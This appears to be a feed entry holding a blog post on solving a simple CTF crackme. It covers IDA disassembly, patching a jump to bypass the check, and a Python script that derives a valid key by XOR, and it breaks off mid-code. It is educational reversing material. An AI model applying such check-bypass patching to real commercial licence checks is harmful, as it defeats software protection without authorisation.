    <entry xml:lang="zh-Hans-cn">
        <title>Some small reverse programs</title>
        <published>2015-11-21T00:00:00+00:00</published>
        <updated>2015-11-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/small-re-progs/"/>
        <id>https://blog.iret.xyz/posts/small-re-progs/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/small-re-progs/">&lt;p&gt;Here I&#x27;d like to share some small and simple problems in some CTF games. They are much too easy for those advanced players, so actually, this is just something could practice my English...&lt;&#x2F;p&gt;
&lt;h2 id=&quot;easy&quot;&gt;&quot;Easy&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;Load into the IDA and you can go to the kernel function directly, as the images below.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;1.jpg&quot; alt=&quot;Image 1&quot; &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;small-re-progs&#x2F;.&#x2F;2.jpg&quot; alt=&quot;Image 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Since the password table is hard-coded into the program, a easy way to solve it is enter a random string, which length is 16 chars, and break on every time &lt;code&gt;EIP==0x8048521&lt;&#x2F;code&gt;. Do not forget to modify &lt;code&gt;74 1A&lt;&#x2F;code&gt; to &lt;code&gt;EB 1A&lt;&#x2F;code&gt;.
However, to let it painful, I decided to look into its algorithm and calculate out a register code.&lt;&#x2F;p&gt;
&lt;p&gt;In the picture above, &lt;code&gt;s&lt;&#x2F;code&gt; is the location of inputed string, while &lt;code&gt;var_C&lt;&#x2F;code&gt; is loop counter &lt;code&gt;i&lt;&#x2F;code&gt;. FYI, &lt;code&gt;sar eax, 1Fh&lt;&#x2F;code&gt; here is equal to &lt;code&gt;shr eax, 1Fh&lt;&#x2F;code&gt; since eax is always a relatively small positive number.
We can write the python version of the check function:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;76&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;70&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;51&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;41&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;54&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;53&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;inputcode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; raw_input()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(inputcode)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Error!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(inputcode))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; password[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; ord&lt;&#x2F;span&gt;&lt;span&gt;(inputcode[i])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; ord&lt;&#x2F;span&gt;&lt;span&gt;(inputcode[(((((i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1C&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;(((i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1C&lt;&#x2F;span&gt;&lt;span&gt;)])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Error!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;        exit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;OK!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then it&#x27;s time to simplify this program. Since &lt;code&gt;i&lt;&#x2F;code&gt; is not big, so the &lt;code&gt;shr&lt;&#x2F;code&gt; will result in zero. Then the &lt;code&gt;if&lt;&#x2F;code&gt; sentence can be changed into:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; password[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; inputcode[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span&gt; inputcode[(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0F&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we can ensure that this program will treat string as a loop, and do xor between current item and next item. When those values meets, it is the right char.
Apparently, just get a possible string:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;password&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;76&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;70&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;51&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;41&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;54&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;53&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;59&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;visiable_chars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-*&#x2F;.`~!@#$%^&amp;amp;()_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;[]|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;;:&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;,&amp;lt;.&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; init_char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; visiable_chars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [ []&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;) ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; ord&lt;&#x2F;span&gt;&lt;span&gt;(init_char)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        code[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; code[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span&gt; password[i]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(code[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; visiable_chars&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;code[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt;password[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                code[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(code[i])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
